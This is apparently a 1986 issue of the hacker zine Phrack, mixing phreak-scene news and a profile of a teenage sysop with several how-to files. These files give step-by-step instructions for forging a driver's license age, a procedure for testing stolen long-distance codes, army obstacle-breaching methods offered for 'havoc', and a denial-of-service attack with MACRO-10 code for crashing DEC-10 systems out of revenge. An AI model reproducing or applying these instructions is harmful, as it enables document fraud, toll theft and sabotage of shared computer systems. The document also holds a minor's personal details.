This group was formed as a joke by The W(hack)o Cracko Brothers Inc. on a conference in December of 1985. The charter members were TWCB, taRfruS, Blue Adept, The Clashmaster, and a few others. Since then, Catcher in the Rye and the Slovak have tried to join.

Later that month, Boston Strangler and Micro Man formed PAP, which stands for Phreaks Against Phreaks Against Geeks. Other opposers of PAG include: Hack Attack, The Detective, Kleptic Wizard and The Overlord 313. It is not known if these others are now in PAP or not.

All of this nonsense was really started on the Dartmouth System and is mainly a local feud of phreaks in the Boston (617 NPA) area.

________________________________________

Brainstorm Gets 10 Megs

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Finally, after several months of promises, Brainstorm (ELITE) now has a 10 Meg Hard‑drive. As of January 1, 1986 Modern Mutant cleared the userlog of Brainstorm and a membership drive was started. Note: To become a member of Brainstorm, you will have to take a small (and more or less easy) filter. Some other new features on Brainstorm are online games; Karate, Football, and a hacking simulation.

________________________________________

Anarchy Inc. Disbanded

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Anarchy Inc., a once very famous g‑phile writing organization, has been disbanded. Basically because most of its membership are now attending college.

________________________________________

Dartmouth Conferences To Be Abolished?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This message was given on January 9, 1986 when a user would try to join a conference.

XCaliber, Fantasie, Spectre, etc are not available until tomorrow. Due to pressure from Kiewit and some users, conferences have been disabled for one day. Hopefully this will remind some people that the conferences are a public service on the part of a few people and are not a "right". Recent abuse of the conferences has made caring for these conferences almost more trouble than they are worth. These abuses have also caused some users to complain to Kiewit. Too many complaints and they might vanish altogether. If everyone will work at keeping the conferences reasonably clean and free of abuse life will be much easier. Thank you for your time and appologies for the lack of conferences.

You are no longer connected to conference "XYZ".

Later, Corwin got pissed off by the password abuse that was going on and killed almost all non‑Dartmouth student passwords. It is also rumored that he took down the DUNE bbs, however Apollo Phoebus says that it is a temporary thing and that DUNE will be going back up soon.

________________________________________

MCI Employee Bust

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Employees at MCI were creating fake accounts and then running up massive bills. Then later they would either credit the accounts or say that the subscriber reported code abuse. Any employee found doing this was fired.

Another way these employees were cheating the company was by reporting code abuse on their own accounts, however MCI Security using CNA quickly caught these employees.

Note: MCI Security has stated that the only real way that they can catch abusers of the phone company is by calling the numbers that the abusers call and asking them who they know making these calls.

Information has been provided through MCI Security

________________________________________

MCI/IBM Merge

‑‑‑‑‑‑‑‑‑‑‑‑‑

MCI Telecommunications company has merged with IBM and their phone industry SBS. This was an effort to join the two as strong allies against AT&T.

IBM computers Vs. AT&T computers

MCI Telecommunications Vs. AT&T Telecommunications

Changes arising from this merger (if any) are not known, but none are expected for some years.

________________________________________

The Life And Crimes of the W(hack)o Cracko Brothers

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The date is somewhere in December of 1984. Peter writes a code hacker for the Hayes and tells Tim NOT to use it on Sprint because they trace. Sometime later that night Tim received a call from Scan Man, sysop of P‑80.

Scan Man said he needed TWCB to hack him some Sprint codes cause he didn't have the time or a Hayes. Tim did it for him on the 314‑342‑8900 Sprint extender.

He left it on all night and the next day while he was in school. Sprint traced him. At 9:00 AM the next morning agents from the FBI, AT&T, Western Union, GTE, and Southwestern Bell, arrived at TWCB's house.

They were let in, bringing with them cameras and tape recorders among other equipment. Upon seeing this Peter blew into an upstairs extension and cancelled the dialing program, but not before the agents made sure it was the right place.

All of TWCB's computer equipment was confiscated and Tim was taken downtown shortly after being picked up at school. Peter was sick and left home. Tim was later released in his mother's custody.

They each received probation and 100 hours of county service.

That was then...

Recently TWCB has come under investigation for the following: Drug use and dealing, burglary, forgery, and fraudulent use of a credit card.

Peter: 8 Class A Felony charges

1 Class A Misdemeanor charge

1 Class B Misdemeanor charge

Tim: 6 Class A Felony charges

2 Class B Misdemeanor charges

Note: Some of these misdemeanors are for not returning library books.

Also it has been said that Tim has been in jail 11 times. Both members of TWCB are now enrolled in a reform school.

The information in this article has been provided by TWCB, directly and/or indirectly.

________________________________________

Blue Adept: Gone For Good

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Blue Adept, known for being an all around loser and Dartmouth impersonator, decided to try blue boxing. For some reason he decided to call an out‑of‑state trunk direct.

Later that month Blue Adept and his parents received a phone bill with a charge around $386.00. This led to his being restricted from using the phone.

Sometime after this incident Blue Adept received an invitation to join on a conference. He wasn't home but his parents decided to stay on and listen in.

Blue Adept is not allowed on conferences anymore and all calls to him are now screened.

________________________________________

Overlord 313 Busted: Step dad turns him in

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Overlord's step‑dad always would be checking his computer to see what was on it and what was nearby. Last week he noticed the credits in Overlord's file on Wiretapping, which can be seen in this issue of Phrack.

He reported his findings to Overlord's mom. She had a talk with him and he promised to stop his evil ways. His step‑dad didn't believe him for a second.

1/11/86

Step‑dad goes on business trip, where he meets Ma Bell executive Don Mitchell. Step‑dad asks all sorts of different questions regarding use of MCI dialups and Alliance Teleconferencing, and talks about how his step‑son does all these things and more. Don strongly suggests that he reports this to the phone company...

1‑13‑86

HE DOES

‑‑‑‑

No legal action against Overlord has taken place as of now.

Information Provided by The Overlord of 313

________________________________________

Maelstrom 305 Busted

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

While I am not at liberty to revel all the information concerning this bust I will mention the bare facts.

Maelstrom hacked into the Southern Bell Data Network (SBDN). This system happened to be local to him so he did not bother to use an extender. Unfortunately this system also had ANI (Automatic Number Identification). His computer and other equipment as well as all his files were confiscated as evidence.

Information provided by the Maelstrom of 305

________________________________________

Whackoland BBS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This bbs is now up and running strong. Its sysops are of course...TWCB Inc. 300/1200 Baud, and 40 Megs. It has unique features and great mods as well as Elite Sections. Call today... 314‑256‑8220. Note: Only 100 users will be kept so if you are just a beginner please don't bother to call.

________________________________________

R.I.P. Broadway Show

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Broadway Show BBS in New York is now down, and Broadway Hacker will soon be in Washington DC. This C‑64 run bbs, was one of the best in its time, but later it became a hangout for rodents.

>From its ashes rises a new bbs, however its name has not been released as of this writing. Broadway Hacker will sysop this bbs for about a week and then turn it over to the new sysop. His name is not yet know, probably since he hasn't a handle yet.

Although this new bbs will appear legal and have some legal sections it is indeed a phreak bbs, and should be checked out.

718‑615‑0580

________________________________________

Speed Demon Elite Down?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This bbs sysoped by Radical Rocker has suddenly disappeared leaving the caller with a message of the line being disconnected. No other information is available.

________________________________________

Well that's all for this issue's Phreak World News. If you have anything of news

Knight Lightning/Taran King/Cheap Shades

________________________________________

4

- Phrack Pro-Phile by Taran King

- Ringback Codes for the 314 NPA by unknown

- False Identification by Forest Ranger

- Profile of MAX long distance service by Phantom Phreaker

- Breaching and Clearing Obstacles by Taran King

- Crashing DEC-10's by The Mentor

- Centrex Renaissance "The Regulations" by Jester Sluggo

- THE TRIED AND TRUE HOME PRODUCTION METHOD FOR "METHAMPHETAMINE" by The Leftist

- Phrack World News Part 1 by Knight Lightning

- Phrack World News Part 2 by Knight Lightning & Knight Lightning

- Phrack World News Part 3 by Knight Lightning

Phrack Pro-Phile

==Phrack Inc.==

Volume One, Issue Four, Phile #1 of 11

==Phrack Pro‑Phile I==

Written and Created by Taran King

3/13/86

Welcome to Phrack Pro‑Phile I. I started thinking about it and personally had always been interested in people's backgrounds, especially those who are around a lot, have been around for a long time, or are sysops. This new feature of Phrack Inc. will present info about various members of the phreak/hack community ranging from personal to public. This month's interviewee....

Crimson Death

~~~~~~~

Crimson Death is the sysop of Hell Phrozen Over, a private phreak/hack bulletin board in Philadelphia, PA. (215).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Personal

~~~~~~~~

Handle: Crimson Death

Call him: Robb

Past handles: The Sorcerer (before he was a phreak, a pirate handle) Handle origin: AD&D Monster Manual II

Date of Birth: February 17,

Age at current date: 16 years old

Height: 5'3"

Weight: 110 lbs

Eye color: Brown outlined with green

Hair Color: Dark brown

Computer: Apple //e with 10 meg hard drive

Sysop/Co‑Sysop of: Hell Phrozen Over, Missing Link, Skull Kingdom

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Crimson Death started out in the BBS world in 1984 with a public board, Spirit World, which was run on an Apple //e, 2 floppies, GBBS, and 300

baud. He had originally gotten his Apple computer in January of 1984. Then, on one memorable day, The Videosmith logged onto his board and they became friends. In February of 1985, he started phreaking. When his 10 meg Sider came, he started Hell Phrozen Over as a private bulletin board system. Death called a few memorable boards, including the Army BBS, Shadowland, The Missing Link, The Labyrinth, as well as his own. His phreak teacher was The Videosmith.

Robb goes to a public school and has skipped a grade, so he is currently one grade ahead of his time. His phreaking is unknown at school except to a few. He considers himself pretty well versed in programming, and from the way his board runs, I would agree. CD's girlfriend is The Silver Fox, (note the word "Fox") that he met on Datanet, and popular opinion says she is REALLY decent looking.

Crimson Death does no hacking right now, but in the future when he gets a bit of free time, he plans on learning about it. Mentioned earlier was his involvement in Phreak Klass 2600. Red Devil has taken it down, and they are looking for a replacement board, Phreak Klass II. Death has met various phreaks, old and new, and those of who really stuck out in his mind were: The Videosmith, Mark Tabas, TUC, Telenet Bob, The Sprinter, and Dr. Who. He listed others too, but he felt that these were the "mentionables". Just thought I'd let a few out there know. Hell Phrozen Over is co‑sysoped by Silicon Swindler, and the Phreak Adviser is The Videosmith, a 300/1200 baud, 10 meg system. He was, in the past, in PhD, which stands for Phreak/Hack Destroyers. This eventually evolved into Camorra. PhD was run by The Executioner (301), members included Red Devil, Silver Sabre, and Scorpion among others.

He is quite a comedian also, he wishes for all of you to have his last name, address, and credit card number (heh heh). The following are excerpts from his Death Plan File, Inc. project. I hope you find this phile interesting.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Interests: Krista, Computers (programming my BBS), telecommunications (modeming, phreaking), reading books (Sci‑Fi/Fantasy) and magazines (movie mags, Psychology Today, Omni), movies (circa 1930's to present), writing (short stories, raps, poems for my girlfriend), music (listening (rap, rock, jazz, some pop, classical, an occasional love song), playing guitar and keyboard), origins/beliefs of religions (although I am not religious at all), mysteries of the Universe, RPG's (rare these days), the arts (painting/drawing/sketching, music (as mentioned), art museums), trivia, parapsychology, comedy.

Crimson Death's Favorite Things

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Women: Krista Denise (I won't say last names)

Cars: Black Lamborghini's and 1935 Dusenbergs. Foods: Italian food, Chinese, Chocolates, peaches (when perfectly ripe). Music: Doug E. Fresh, Run‑D.M.C., The Fat Boys, Kurtis Blow, UTFO, LL Cool J, RUSH, The Who, Led Zeppelin, Billy Ocean, Newcleus, The Rolling Stones, John Williams (w/ The London Symphony), Authors: Piers Anthony, Stephen King, David Eddings, Arthur C. Clarke, Robert Aspirin, Kahlil Gibrahn, L. Frank Baum. Books: The Tarot Trilogy, The Xanth Series, The Belgariad, Elfquest, The Myth Conceptions Series, 2001, 2010. Performers: Bob Hope, Jerry Lewis, Abott & Costello, John Garfield, Stacey Keech, Sean Penn, Eddie Murphy, Sir Lawrence Olivier, Marlon Brando, Gina Davis, David Letterman, Jayne Mansfield, Marilyn Monroe, Scatman Crothers, Pee Wee Herman.

Most Memorable Experiences

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

My father dying

Falling in love

Meeting Krista for the first time

Getting Leukemia

Vomiting in a Hawaiian Punch bottle

Tabas with one leg over the balcony at The Palace

Being chased by a 6' 8" homo at P‑Con IV

Some People to Mention

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Schoolgirl (the nicest person on Datanet [Hugs!])

The Heretic (Bizarre, but cool..)

The Warlock Lord (although we occasionally have our differences) Dire Wraith (Hm. Not much to say)

Tuc (One of the coolest)

Capt. Zap (a pretty nice guy)

Bit Man (just learn to not talk so much!)

Blue Buccaneer (for all he has done (u/l, posts, etc), and being a cool guy) Maxwell Smart & The Baron (just cool people..)

People Crimson Death would like to say a few things to

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Krista (the person I hold dearest to my heart, who I love and cherish even more‑so than I do myself; and for being herself)

Silicon Swindler (For being my best friend for the past few years. I would like to thank him for sticking with me through A LOT of bad times)

The Videosmith (for introducing me the mystic world of phreaking, being my mentor in this "mystic world", but most of all being a friend)

The Executioner (who can be an egotistical asshole at times, but showed me he really does care at Phreak Con, when a 6' 8" ogre wanted my ass)

Red Devil (who has put up with all of my cut‑ups and not kicked the shit out of me, even though he could. Sorry about that)

The People at Data‑Tek (who put up Datanet in which without it, I would have never met Krista)

Everyone Else who I didn't mention (for the one's who I know care; and

the people who put up with my faults)

*TOTAL LOSERS*: The Sting (Otto) (414), Black Majik, Bloody Sabath.

The above three people have busted on me for having had an illness. In May, of 1983 I was struck with Leukemia, cancer of the blood. Luckily, I was cured of this disease, and now lead a normal life. Yes, I was bald at one period of time, but I am not now. Even so, that is nothing to bust on. I don't care who it is, and what they have done to you, because busting on an illness is is pure idiocy. No one understands...until they or someone they love is struck.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I hope you enjoyed this phile, look forward to more Phrack Pro‑Philes coming in the near future. Oh, and one last thing, I'm taking a poll from all interviewees.

Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks? Crimson Death says "No". Thanks for your time Robb.

TARAN KING

SYSOP OF METAL SHOP PRIVATE

Ringback Codes for the 314 NPA

==Phrack Inc.==

Volume One, Issue Four, Phile #2 of 11

Ringback Codes for the 314 NPA

(Incomplete)

Dial the code from below instead of your exchange, plus the last 4 #'s of your phone. Flash switch hook and wait for tone, then hang up.

Prefix CODE Prefix Code

‑‑‑‑‑‑ ‑‑‑‑ ‑‑‑‑‑‑ ‑‑‑‑

432 575 867 552

521 557 868 573

522 452 869 574

524 557 872 571

567 574 921 972

569 978 991 552

694 972 993 952

831 552 994 573

837 557 997 977

838 573 227 852

839 952 527 877

Data Line. 12‑85.

False Identification

Volume One, Issue Four, Phile #3 of 11

False Identification

By

Forest Ranger

The objective of this file is to teach one to change his or her current drivers license to make one 21, without taking apart the drivers license itself. This will be taught to you in a quick, inexpensive, easy to understand process. The materials used are laminated sheets (easily obtainable from a school supply store for around a dollar to two dollars for a number of sheets), pair of good scissors, and a copy machine.

The first step in the process calls for the copy machine (a copy machine at the supermarket works good). Make two copies of your drivers license. Take one copy and search for a digit on one of the copies that will change the current year on your license to one that will change your age (21). Once you have found the digit on one copy cut it out so just the digit is there (a square segment with a little trim around the edges is a good cut). Then take the other copy and cut out the current last digit of the year you were born in basically the same shape as the last. Put the cut out digit under the copy that you had cut out your current digit of the year you were born. Now having a little trim around the cut out digit from the first copy will assist you when lining it up under the second copy when you put it in the copy machine. Now that you have the new digit from the first copy sitting underneath but showing on the second copy place it in the copy machine and make a copy so that you will have an original of the new base part of the license.

Now since most copy machines are black and white you will have to cut away the states license on the top of the license (e.g. Illinois License). Now place the new base of the license with the cut away license name over the old base of the current license. The new base might not match up like it should but line it up as a good as possible. Now place a piece of the laminated sheet cut out to configure the license on top of the new base. Cut away any overlaps of laminated paper and iron over the license with Mom's good old iron.

Notes: This process has been proved to work. If you are the type of person that looks very young then do not bother to make an ID. You will just get caught and get into a lot of trouble. Also, be very careful at well known bars and over 21 hang out spots. The employees at these places tend to flash a flash light underneath the card to see if it is transparent. It is supposed to be. With this process it is a little hard to see through the ID so be careful with it if you do go to a place such as this. If you are pulled over by the police then take a corner of the license and rip. It will not affect your original license though it maybe a little sticky but, that should not be to big of a problem. If any bubbling occurs just iron over it and l

Profile of MAX long distance service

==Phrack Inc.==

Volume One, Issue Four, Phile #4 of 11

Profile of MAX long distance service Written by Phantom Phreaker Presented by The Alliance 618‑667‑3825

MAX is a long distance service that is part of Lexitel. Lexitel is soon going to merge with Allnet. MAX is also going to be a Carrier when our area gets Equal Access, along with GTE Sprint, SBS, US Telecom, ITT, AT&T, and a few others.

The MAX dialup local to me is not in a CCIS area.

First off, you will get the dull tone of the extender when you call. If you don't input any touch tones for 15 seconds (approx.) MAX will go to a recording telling you 'We have received insufficient digits to process your call. Please call customer service.'. I believe that MAX dialups all use the same recordings.

Input a 6 digit code, followed by Area Code,Prefix and Suffix of the number you're trying to reach, plus a four digit accounting code which can be any four digits. If you have an invalid code, a clear ringing will be heard right after you input the last digit of the Suffix, and will go to a recording 'You have dialed an invalid authorization code. Please call customer service.' If you have a good code you won't hear this ringing after the suffix and will be allowed to enter the four digit accounting code. If you make an error in typing in your code, you can hit either the # or * keys on your phone to return to the initial tone. You can only abort back to the start while you are entering digits, not after you hear the ring going to recording. 2600 Hertz can be used to kick back the extender, thus after getting a bad code, send 2600hz, and you'll be back at the initial tone, (similar to Sprint) and can try more codes. After getting a code on a MAX service don't let the call go through. If you don't hear the ringing going to recording then hang up and save that code for later use.

Some notes on MAX:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If you wait at the initial tone more than 15 seconds, it will go directly to a recording 'We have received insufficient digits to process your call. Please call customer service.'.

MAX cannot be used to Blue box unless the dialup you have doesn't return to the initial tone after sending 2600 Hertz.

MAX cannot be used to reach certain exchanges such as 976 numbers, 800 INWATS numbers, and Dial‑it 900 numbers. Also certain exchanges belonging to the telco cannot be reached through MAX.

International dialing is not possible through MAX as far as I know at this time.

To identify a MAX dialup, enter 6 digit authorization code+700+555+XXX+XXXX. You will then get a recording 'Welcome to the MAX long distance Network.' All recordings on MAX begin with 'All XX dot YY'. In my area the first XX is always 13. The second YY is a number assigned to the error you have made. 01='All XX dot 01. You have dialed an invalid authorization code. Please call Customer service.'

02=Unknown at this time

03='All XX dot 03. We have received insufficient digits to process your call. Please try again or call Customer service.'

04='All XX dot 04. Your call cannot be completed as dialed. Please check the number and dial again.'

05=Unknown

06=Unknown

07=Unknown

08=Unknown

09='All XX dot 09. I'm sorry, we are unable to complete your International call. Please try again or consult your local phone book for dialing instructions.'

10='All XX dot 10. Welcome to the MAX long distance network. Thank you for using MAX.'

After dialing a number that cannot be reached through MAX you will hear a dull tone for approx. one second then the ring to 'All XX dot 04' recording. Note each recording will be played twice, then you will get a re‑order. Autovon tones A,B,C and D entered at the initial tone will automatically go to recording 03.

No MF tones break the initial tone, except for 6.

The information in this file cannot be guaranteed 100% accurate. MAX dialups may operate differently in different areas.

‑End of file‑

02/21/86

Breaching and Clearing Obstacles

==Phrack Inc.==

Volume One, Issue Four, Phile #5 of 11

|&&&&&&&&&&&&&&&&&

|Breaching and Clearing Obstacles|

|~~~~~~~~~ ~~~ ~~~

|%%%%%%%%%%%%%%%%%

Taken from

The Infantry Platoon and Squad FM 7‑8 (Infantry, Airborne, Air Assault, Ranger)

Army Issue

By

Taran King

Sysop of Metal Shop Private

Special thanks in obtaining the manual goes out to Dragon Master

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

For those of you into the war‑aspects of having phun, this is a little phile to tell you about the breaching and clearing of obstacles. The techniques can be used by the anarchist to provide havoc in the city or by the mercenary to help him out in any battle/battle games‑type situation.

ABATIS

~~~~

An abatis is an obstacle created by cutting down trees so their tops are criss‑crossed and pointing toward the expected enemy direction. It is most effective for stopping vehicles in a forest (or along a tree‑lined street). The trees are left attached to the stumps as high as possible to make removal more difficult. This obstacle may be reinforced with mines and boobytraps.

Ex:

_______|\\_____

||\\ / fallen tree still attached

|| \::

|| :::::

|| /::::

/ ^

|

leaves and branches block the roadway

To clear an abatis:

1> Suppress the enemy covering the obstacle.

2> Secure whole area of all enemy elements.

3> Reduce the obstacle. Mines and boobytraps must be found and can be disarmed by pulling their tripwires with grappling hooks and long ropes. Use pioneer tools or explosives to cut the trees from their stumps and then pull the logs out of the road with a strong car/truck.

LOG CRIBS

~~~ ~

A log crib is an obstacle constructed of logs, earth, and rocks. The logs are used to make triangular cribs which are filled with earth and rock. These are used to block narrow roads and defiles.

Ex:

_______

/

\‑‑‑‑

\\earth// <‑‑logs form a triangle, kind of

/ \\rox// like a sandbox, and is filled

/ \\ with earth and rocks.

/ \|

/

To clear a log crib:

1> Suppress the enemy covering the obstacle

2> Secure whole area of enemy elements.

3> Reduce the obstacle. Use direct fire weapons, explosives, pioneer tools and vehicles to reduce the obstacle.

CRATERS AND TANK DITCHES

~~~~~~~ ~~~ ~

Craters and tank ditches are holes in the road or terrain that are put there to stop the passing of vehicles, and are blown in there by explosives. Sometimes, in tank ditches, barbed wire, mines and chemicals are placed in to make the tank crews have a harder time. These are cleared otherwise, though, by bulldozing dirt into them by pushing in the sides of the holes. Explosives may also be used to blow down the sides.

WIRE

~~~

Wire is used to separate infantry from armor and as roadblocks against wheeled vehicles.

To clear wire obstacles:

1> Suppress the enemy covering the obstacle.

2> Secure whole area of enemy elements.

3> Clear a lane through the wire. Use wire cutters, or explosives to remove the wire (or a bangalore torpedo if you have one [riiiight...]). Watch for mines and boobytraps and mark them with engineer tape, cloth, or anything recognizable.

4> Destroy the marked mines with explosives or grappling hooks. 5> Mark cleared lane.

...And for those really involved...

MINEFIELDS

~~~~~~

To maintain the momentum of an attack, the group must be prepared to breach minefields.

1> Suppress the enemy covering the obstacle.

2> Secure whole area of enemy elements.

3> Clear a footpath/lane and mark the mines that are found. The preferred way to clear a lane through a minefield is to use a rocket‑propelled line charge or a bangalore torpedo (Army style). However, the only way to clear a minefield without special equipment is to probe with pointed sticks. Bayonets should not be used because they can detonate AP mines and other type magnetic mines. One squad probes while the platoon overwatches. The squad probing the footpath/lane through the minefield uses two probers: one in front, clearing a lane wide enough to crawl through; and a second one clearing 10 meters behind the first prober and slightly to one side so that their lanes overlap. The probers should not carry their weapons, field packs, load‑carrying equipment, helmets, etc. Their equipment is carried by other squad members. Two other men crawl along behind to secure the probers, to carry additional supplies, or to take a prober's job if one becomes a casualty (how pleasant...). The probers should be rotated often to keep them from getting tired and careless. The remaining squad members overwatch the probers.

The probers mark mine locations with sticks, engineer tape, cloth, or toilet tissue. They do not try to remove mines.

4> Secure the far side. As soon as the squad has cleared a footpath/lane, it moves through the lane and secures the far side of the minefield. 5> Destroy the marked mines with explosives.

6> Mark cleared lane.

7> Move the group through the obstacle.

This phile is more written for the anarchist than the military gamesman out there, since there is a large lack of them, so please, feel free to use these techniques in having a little phun rather than ragging on me about how you never play war‑games.

TARAN KING

Sysop of Metal Shop Private

Crashing DEC-10's

==Phrack Inc.==

Volume One, Issue Four, Phile #6 of 11

Crashing DEC‑10's

by The Mentor

3‑13‑86

Occasionally there will be a time when destruction is necessary. Whether it is revenge against a tyrannical system operator or against a particular company, sometimes it is desirable to strike at the heart of a company...their computer.

What follows is a fairly detailed explanation of how to go about crashing a DEC‑10 computer running any operating system. The user will have to be able to create and execute assembly level and high level language files, as well as having a good working knowledge of programming. The first step is to obtain an account. Whether this be a default account like 5,30 (pw: GAMES) or an account that you hacked by some other method, you have to be able to access the system. Superuser access is not necessary, however, for this method to work.

At the heart of every mainframe computer is the central processing unit. The CPU handles all instructions, fetching them from memory, decoding them, and executing them. A DEC has what is called a DMA (Direct Memory Access) Controller that functions as a small CPU handling all the input and output from memory and peripherals, freeing the main CPU to execute instructions. We take advantage of this fact in crashing the system. Theory: The CPU depends on the DMA Controller to handle all memory access. If the DMA can be crashed, the CPU grinds to a halt and the sysop has to run DSK:RAT to restore all the files on the system (a one hour process, deadly at peak operating time.) We cause the DMA to crash by slowing it down incredibly and overflowing the system stack.

Practice‑

There exists an area known as 'Job Data Area' at octal 20 through 140 of the user's memory. This stores all relevant information about the current task executing. The individual locations each have a 6‑bit mnemonic starting with .JB in each case. These must be introduced into a symbol table as external references.

The highest core address available to the user is stored at .JBREL in the Job Data Area. If you try to access more core than you are allowed, you will get an interrupt and it will crash. The first step is to disable the interrupt. This is done by setting bit 22 in the AC to 1. This is done with a mask as follows...

APRENB AC

MOVEI AC,20000 (octal)

The interrupt is now shut out. Next, you must start snatching up all available system core. This cannot be done by directly meddling with .JBREL. Instead, you must alter AC (accumulator) to contain the highest desired address and then move it into .JBREL. This can be done with the following subroutine.

CORE AC,

TOP: MOVE AC,.JBREL##

AOJA AC,.+1

CORE AC,

BRA TOP

At first, incrementing only by one looks like a slow way to grab core, but since it is only allocated in chunks of either 1K or 2K words, you can quickly suck up a lot of memory. (Following this file is a complete sample program in MACRO‑10 showing how to increase the core to a certain limit.) Now that we have all the core we can get, the system is already more than likely slowing down. This is good. Now we put in the fatal blow. You should already have prepared a program that relies heavily on recursion. The choice languages for this are either C or Pascal. Simply set up a simple recursive program (Towers of Hanoi with 100 rings, for instance), and tell it to execute.

What will begin to happen is that the DMA stack will start filling up, slowing the system down even further. Eventually, after between 5 minutes and 15 minutes (longest it's ever taken me), you get the nice beep and... ;;OPSER‑ DEC SYSTEM‑10 NOT RUNNING

I've only had to do this on three systems that the sysop really pissed me off (not counting the system where I go to school, on which I do it all the time when I'm bored...) It's kind of an extreme measure, but it can be an effective one.

The following program is a sample for those not familiar with MACRO‑10 assembly language.

32

START: TITLE SAMPLE

MOVE P,[IOWD 3,MEM]

MOVE [PUSHJ P,PDLOV]

MOVEM .JBAPR##

MOVEI AC,600000

APRENB AC,

SETZB CT

MOVEM AC

AOS

PUSHJ P,S1

JRST .‑3

S1: IDIVI AC,10

HRLM N,(P)

JUMPE AC,.+3

PUSHJ P,S1

SKIPA

PUSHJ P,S2

HLRZ N,(P)

ADDI N,60

OUTCHR N

POPJ P,

S2: SOJG CT,.+4

OUTCHR [15]

OUTCHR [12]

MOVEI CT,10

MOVE T,P

OUTCHR [40]

AOBJN T,.‑1

POPJ P,

PDLOV: PUSHJ P,LIMIT

SUB P,[1,,0]

JRSTF @.JBTPC##

LIMIT: CAIL 1000 ;CHANGE TO WHATEVER YOU WANT! EXIT

POPJ P,

MEM: BLOCK 10

END START

Centrex Renaissance "The Regulations"

==Phrack Inc.==

Volume One, Issue Four, Phile #7 of 11

Centrex Renaissance

"The Regulations"

By Leslie Albin * (See Note)

From: On Communications (October 1985, Vol. 2,No. 10)

By Jester Sluggo

Regulatory changes across the country have made new bargain available to telecommunications users. Centrex ‑‑ the homely old central office service AT&T planned to bury only a couple of years ago ‑‑ has been regroomed, revitalized and often rebaptized.

As Centrex, Centron, Caroline or Essx ‑‑ the various regional trade names of Centrex service ‑‑ it is cheaper and more powerful than ever in mosy parts of the country. The bargain will only get better in regions where the Bell operating companies (BOC) have seized on Centrex not only as a logical step in their progression toward an integrated services digital network, but also as a key to the lucrative telecommunications aftermarket ‑‑ as long as those regulatory changes do not shift.

The Centrex service the regional BOC's were left with after divestiture was deliberately undernourished, as part of AT&T's migration strategy to bolster sales of Western Electric private branch exchanges. Centrex was lacking in technology and marketing innovation, and users were abandoning it. But, in a little more than a year and a half, the RBOC's (Regional Bell Operating Companies) have managed to win over state regulators to the idea of a thriving Centrex, gaining their approval of trunk equivalency rates, innovative tariffs, rate stabilization plans, actual detariffing and ‑‑ in one case ‑complete deregulation.

At the federal level, challenges to this revitalization have been rebuffed or have stalled before the FCC, and the RBOCs are pitching for greater leeway in providing the customer premises equipment to go with their Centrex service. "The regulators have been bending over backward to give Centrex every competitive advantage," said Albert Angel, a lawyer with the Washing D.C. firm of Wood, Lucksinger & Epstein, which represents the North American Telecommunications Association (NATA).

"Ultimately, there will be a clear finding that the preferential treatment of Centrex is not justified," added Angel, and should that happen, Centrex customers ‑‑ even those with price stability packages ‑‑ could find themselves committed to a service beset by escalating rates.

Most of the federal issues involving Centrex regulation developed as a response to actions taken in the states. For instance, NATA has sternly objected to "trunk equivalency" rates authorized by a number of state commissions. The concept evolved when the FCC imposed its $6 monthly customer access line charge on new Centrex lines along with regular business lines. Because Centrex uses lines much less efficiently than a PBX does, "the net impact is very different on a Centrex subscriber than it is on a PBX subscriber," said Greg Laken, division manager of Centrex and central office services for Bell Atlantic Corp. Centrex requires one twisted pair for each station, whereas a PBX requires one trunk for six or seven stations.

Trying to keep Centrex viable with a built‑in customer access line charge burden six to seven times greater than that incurred by a comparable PBX would have been a tough proposition. Bell Atlantic's BOCs, like virtually every other BOC in the country, won permission from state regulators to offset the higher line charges for Centrex so that customers would pay at the same level as owners of similarly sized PBXs. To NATA, this amounts to nothing more than "taxing all other customers for the benefit of Centrex customers," NATA attorney Angel said. But the FCC decided in summer 1985 that the trunk equivalency rates do not undermine its access charge policy. and the lower rates for Centrex users remain in effect. Beyond whittling down customer access line charges, a number of BOCs have had fresh Centrex tariffs approved by state commissions that chop the service's rates and offer innovative pricing schemes. Bell Atlantic's BOCs, for instance, have won approval for tariffs cutting Centrex rates 30% to 35%. "The net effect," said Lakin, "is that it is a very price‑competitive entry."

